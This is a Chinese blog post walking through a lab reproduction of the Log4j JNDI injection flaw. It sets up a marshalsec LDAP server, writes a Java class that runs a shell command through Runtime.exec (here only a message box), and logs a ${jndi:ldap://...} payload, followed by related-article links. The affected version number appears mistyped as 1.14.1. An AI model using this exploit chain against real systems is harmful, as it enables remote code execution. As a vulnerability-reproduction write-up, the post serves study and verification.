log4j漏洞，jndi侵入验证复现

log4j的1.14.1往下版本

需要先搭建一个LDAP服务器，git地址

git clone https://github.com/mbechler/marshalsec.git

执行 marshalsec.jndi.LDAPRefServer 的main函数，idea添加执行命令

"http://127.0.0.1/fileService/download/1/1/#test" 8888

意思是将文件服务器http://127.0.0.1/fileService/download/1/1/下面的test类，映射到8888端口

然后编写test类

public class test {static{try {Runtime.getRuntime().exec("cmd /c mshta vbscript:msgbox(\"有人从你的log4进来了\",64,\"来自熊猫头的消息\")(window.close)");} catch (IOException e) {e.printStackTrace();}}
}

test类执行了一个cmd指令，执行了一段vb程序语句

将他编译成class，放到文件服务器上，这里随便搭建什么文件服务器都行，给LDAP用。

我这边是用现有的外网远程服务器，http://127.0.0.1/fileService/download/1/1/

然后测试类

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Main {private static final Logger log = LogManager.getLogger(Main.class);public static void main(String[] args) {String cmd = "${jndi:ldap://127.0.0.1:8888/test}";log.error(cmd);}
}

单你用log4j打印日志的时候，这日志写了几个jndi的命令，这就完蛋

log4j漏洞，jndi侵入验证复现相关推荐

RMI、JNDI、LDAP介绍+log4j漏洞分析
介绍本篇主要介绍java的RMI.JNDI.LDAP,在后面会详细分析log4j的jndi注入原理. 什么是RMI RMI全称是Remote Method Invocatioon,也就是远程方法调用 ...
log4j漏洞原理分析复现检测复盘
凡事要自发,自然而为,即要顺从一切处于自然状态的事物,允许它们自发地转变.这样,道即达到了一种"无为而无不为"的状态.在日常生活中,道表现为"不自傲"或&quo ...
利用Vulhub复现log4j漏洞
Vulhub 搭建log4j漏洞环境,模拟攻击: 靶机: 首先进入log4j路径 cd vulhub/log4j/CVE-2021-44228/ 搭建环境 sudo docker-compose bu ...
如何跟踪log4j漏洞原理及发现绕WAF的tips
log4j漏洞的形成原因已经有很多分析文章了,这里说一说我是如何在了解到有漏洞后,跟进漏洞产生原理的,以及发现的一些绕WAF tips 跟进漏洞产生原因的思路如何发现漏洞产生原因的了解到log4j ...
升级过log4j，却还没搞懂log4j漏洞的本质？
摘要:log4j远程代码漏洞问题被大范围曝光后已经有一段时间了,今天完整讲清JNDI和RMI以及该漏洞的深层原因. 本文分享自华为云社区<升级过log4j,却还没搞懂log4j漏洞的本质?为你完 ...
OpenShift Security (13) - 利用Log4j漏洞攻击容器
<OpenShift 4.x HOL教程汇总> 演示视频利用 Log4j 漏洞攻击容器需要有2个条件,1)Java应用中包含受到漏洞影响的Log4j.2)带有"JNDI 注入& ...
深入解析著名的阿里云Log4j 漏洞
几乎每个系统都会使用日志框架,用于记录日志信息,这些信息可以提供程序运行的上下文,但是日志过多也会影响系统的性能,所以好的日志框架应该是可靠,快速和可扩展的. Apache Log4j2 是一个基于 ...
使用亚马逊云科技安全服务防御、检测和响应 Log4j 漏洞
概述在本文中,我们将为针对最近披露的 Log4j 漏洞所影响的客户提供一些指导意见.内容包括如何限制漏洞的风险,如何尝试识别是否易受此问题影响,以及如何使用适当的补丁更新基础架构. Log4j 漏洞 ...
深入分析Log4j 漏洞
几乎每个系统都会使用日志框架,用于记录日志信息,这些信息可以提供程序运行的上下文,但是日志过多也会影响系统的性能,所以好的日志框架应该是可靠,快速和可扩展的. Apache Log4j2 是一个基于 ...

log4j漏洞，jndi侵入验证复现

log4j漏洞，jndi侵入验证复现相关推荐

最新文章

热门文章